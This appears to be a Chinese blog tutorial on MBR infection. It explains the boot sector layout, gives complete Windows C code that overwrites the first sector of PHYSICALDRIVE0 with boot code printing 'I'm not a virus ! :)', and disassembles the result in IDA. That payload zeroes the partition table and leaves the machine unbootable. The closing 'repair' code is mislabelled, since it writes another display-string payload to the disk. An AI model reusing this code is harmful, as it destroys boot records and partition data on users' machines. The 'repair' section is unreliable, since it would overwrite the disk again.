MBR感染学习

前几天工程实践,有人涉及到了MBR的感染。我也来学习一哈。
本文我们要了解的几个东西:
    1)什么是MBR。
    2)怎么感染MBR 。
    3)怎么分析MBR感染。
    4) BIOS int 10 中断的应用。
    5)怎么预防和修复MBR感染。
1.什么是MBR(引用自百度知道)
    MBR ,全称为 Master Boot Record ,即硬盘 主引导记录
    为了便于理解,一般将MBR分为广义和狭义两种:广义的MBR包含整个扇区( 引导程序 、分区表及分隔标识),也就是上面所说的 主引导记录 ;而狭义的MBR仅指 引导程序 而言。
    硬盘的0柱面、0磁头、1扇区称为主引导扇区 (也叫主引导记录MBR)。它由三个部分组成,主引导程序、硬 盘分区表 DPT(Disk Partition table)和硬盘有效标志(55AA)。在总共512字节的主引导扇区 主引导程序(boot loader) 占446个字节,第二部分是Partition table区(分区表),即DPT,占64个字节,硬盘中分区有多少以及每一分区的大小都记在其中。第三部分是magic number,占2个字节,固定为55AA。
  
2.怎么感染MBR
    说是感染MBR,其实就是改写MBR,在引导扇区里面写入我们想执行的代码。
 1 #include "stdafx.h"
 2 #include "windows.h"
 3 #include "stdio.h"
 4 char mbr[512]= { //字符串地址        
 5         0xB8,0x12,0x00,0xCD,0x10,0xBD,0x18,0x7C,0xB9,0x13,0x00,0xB8,0x01,0x13,0xBB,0x0C,0x00,0xBA,0x00,0x00,0xCD,0x10,0xE2,0xFE,//调用int10的代码。
 6         0x49,0x27,0x6D,0x20,0x6E,0x6F,0x74,0x20,0x61,0x20,0x76,0x69,0x72,0x75,0x73,0x20,0x21,0x20,0x3A,0x29,0x00,0x00,0x00,0x00,//I'm not a virus ! :)
 7         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
 8         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
 9         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
10         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
11         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
12         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
13         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
14         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
15         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
16         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
17         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
18         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
19         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
20         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
21         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
22         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
23         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
24         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
25         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
26         0x00,0x00,0x00,0x00,0x00,0x00,0x55,0xAA
27 };
28 //---------------------------------//提升当前进程权限---------------------------------------//
29 BOOL GetDebugPrivilege()
30 {
31     HANDLE hToken;
32     DWORD Ret=FALSE;
33     TOKEN_PRIVILEGES TP;
34 
35     if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
36     {
37         printf("[-] Error in GetDebugPrivilege OpenProcessToken: %u\n", GetLastError());
38         
39         goto bye;    
40     } 
41     
42     if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &TP.Privileges[0].Luid))
43     {
44         printf("[-] Error in GetDebugPrivilege LookupPrivilegeValue: %u\n", GetLastError());
45         
46         goto bye;    
47         
48     }
49     
50     TP.PrivilegeCount=1;
51     TP.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
52     
53     if(!AdjustTokenPrivileges(hToken,FALSE,&TP,0,NULL,NULL))
54     {
55         printf("[-] Error in GetDebugPrivilege with  AdjustTokenPrivileges: %u\n", GetLastError());
56         
57         goto bye;
58     }
59     
60     Ret = TRUE;
61 bye:
62     CloseHandle(hToken);
63     
64     return Ret;    
65 }
66 
67 void WriteMbr()
68 {
69     HANDLE hHandle = NULL;
70     DWORD dwSize = 0;
71     hHandle = CreateFileA("\\\\.\\PHYSICALDRIVE0",GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
72     if (hHandle == INVALID_HANDLE_VALUE)
73     {
74         printf("[-] Error in CreateFileA:%u\n",GetLastError());
75     }
76     
77     WriteFile(hHandle, mbr, 512, &dwSize, NULL);
78 }
79 
80 int main(int argc, char* argv[])
81 {
82     GetDebugPrivilege();
83     WriteMbr();
84     
85     return 0;
86 }
 我们就这样成功的将数组里面的内容写入MBR了,我们数组里面就可以放我们想执行的代码了。
3.int 10 中断的应用
    来看我们数组里到底放的是什么?
     int 10h中断是BIOS对系统屏幕显示器所提供的服务程序。我们可以调用int 10h中断来控制显示器的显示
 1 start:
 2 mov ax,12h    //AL=12 640×480 16色图形 (EGA)
 3 int 10h
 4 mov bp, 0000H//ES:BP  指向串地址,这里要填入我们要显示的字符串的地址。
 5 mov cx, 13h//CX:    表示串的长度
 6 mov ax,1301h//AH = 13,功能号,表示显示字符串
 7 mov bx,0Ch//BH:    页号
 8 mov dx,0h//DH, DL 分表表示起始的行列
 9 int 10h
10 s:      loop s
11 code ends
12 end start

 我们编译出这段汇编过后,用C32提取出机器码,然后再机器码后面加我们要显示的字符,最后填充满MBR的大小,512字节。就变成到上面代码中的mbr数组了。

最后MBR被感染后的执行效果:不能重启计算机,重启显示我们写的字符串。

4.分析感染的MBR

    我们先要WinHex导出我们受感染的MBR,然后IDA打开。
    注意打开的偏移是0x7c00,打开方式是16进制。
    来看看我们感染了的MBR:
 
然后来看IDA分析后的代码:
 1 seg000:00007C00                 db 0B8h ; 
 2 seg000:00007C01                 db  12h
 3 seg000:00007C02                 db    0
 4 seg000:00007C03                 db 0CDh ; 
 5 seg000:00007C04                 db  10h
 6 seg000:00007C05                 db 0BDh ; 
 7 seg000:00007C06                 db  18h
 8 seg000:00007C07                 db  7Ch ; |
 9 seg000:00007C08                 db 0B9h ; 
10 seg000:00007C09                 db  13h
11 seg000:00007C0A                 db    0
12 seg000:00007C0B                 db 0B8h ; 
13 seg000:00007C0C                 db    1
14 seg000:00007C0D                 db  13h
15 seg000:00007C0E                 db 0BBh ; 
16 seg000:00007C0F                 db  0Ch
17 seg000:00007C10                 db    0
18 seg000:00007C11                 db 0BAh ; 
19 seg000:00007C12                 db    0
20 seg000:00007C13                 db    0
21 seg000:00007C14                 db 0CDh ; 
22 seg000:00007C15                 db  10h
23 seg000:00007C16                 db 0E2h ; 
24 seg000:00007C17                 db 0FEh ; 
25 seg000:00007C18                 db  49h ; I
26 seg000:00007C19                 db  27h ; '
27 seg000:00007C1A                 db  6Dh ; m
28 seg000:00007C1B                 db  20h
29 seg000:00007C1C                 db  6Eh ; n
30 seg000:00007C1D                 db  6Fh ; o
31 seg000:00007C1E                 db  74h ; t
32 seg000:00007C1F                 db  20h
33 seg000:00007C20                 db  61h ; a
34 seg000:00007C21                 db  20h
35 seg000:00007C22                 db  76h ; v
36 seg000:00007C23                 db  69h ; i
37 seg000:00007C24                 db  72h ; r
38 seg000:00007C25                 db  75h ; u
39 seg000:00007C26                 db  73h ; s
40 seg000:00007C27                 db  20h
41 seg000:00007C28                 db  21h ; !
42 seg000:00007C29                 db  20h
43 seg000:00007C2A                 db  3Ah ; :
44 seg000:00007C2B                 db  29h ; )

    - -,好乱,我们A,C,U整理代码:

 1 seg000:7C00 ; Segment type: Pure code
 2 seg000:7C00 seg000          segment byte public 'CODE' use16
 3 seg000:7C00                 assume cs:seg000
 4 seg000:7C00                 ;org 7C00h
 5 seg000:7C00                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
 6 seg000:7C00                 mov     ax, 12h
 7 seg000:7C03                 int     10h             ; - VIDEO - SET VIDEO MODE
 8 seg000:7C03                                         ; AL = mode
 9 seg000:7C05                 mov     bp, 7C18h
10 seg000:7C08                 mov     cx, 13h
11 seg000:7C0B                 mov     ax, 1301h
12 seg000:7C0E                 mov     bx, 0Ch
13 seg000:7C11                 mov     dx, 0
14 seg000:7C14                 int     10h             ; - VIDEO - WRITE STRING (AT,XT286,PS,EGA,VGA)
15 seg000:7C14                                         ; AL = mode, BL = attribute if AL bit 1 clear, BH = display page number
16 seg000:7C14                                         ; DH,DL = row,column of starting cursor position, CX = length of string
17 seg000:7C14                                         ; ES:BP -> start of string
18 seg000:7C16
19 seg000:7C16 loc_7C16:                               ; CODE XREF: seg000:loc_7C16j
20 seg000:7C16                 loop    loc_7C16
21 seg000:7C16 ; ---------------------------------------------------------------------------
22 seg000:7C18 aIMNotAVirus    db 'I',27h,'m not a virus ! :'
23 seg000:7C2B                 db  29h ; )
着就和我们之前写的代码差不多了。
5.预防和修复MBR感染
    1)我们可以准备一个我们的MBR备份,当被感染了,我们就可以通过PE毛桃进入系统,修改回我们原来的MBR,这样就不会造成数据丢失了;当然也可以虚拟机快照恢复。
    2)代码重建MBR
 1 unsigned char scode[] =
 2 "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
 3 "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x5b\x46\x75\x48\x61\x6f\x2d\x32"
 4 "\x30\x31\x30\x5d\x51\x51\x3a\x35\x30\x33\x32\x36\x37\x37\x31\x34";
 5   HANDLE hDevice;
 6   DWORD dwBytesWritten, dwBytesReturned;
 7   BYTE pMBR[512] = {0};
 8   memcpy(pMBR, scode, sizeof(scode) - 1);
 9   pMBR[510] = 0x55;
10   pMBR[511] = 0xAA;
11   hDevice = CreateFile  ("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,OPEN_EXISTING,0, NULL);
12   if(hDevice == INVALID_HANDLE_VALUE)
13     return -1;
14   DeviceIoControl ( hDevice, FSCTL_LOCK_VOLUME,  NULL,  0,  NULL, 0,  &dwBytesReturned, NULL);
15   WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
16   DeviceIoControl (hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
17   CloseHandle(hDevice); 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值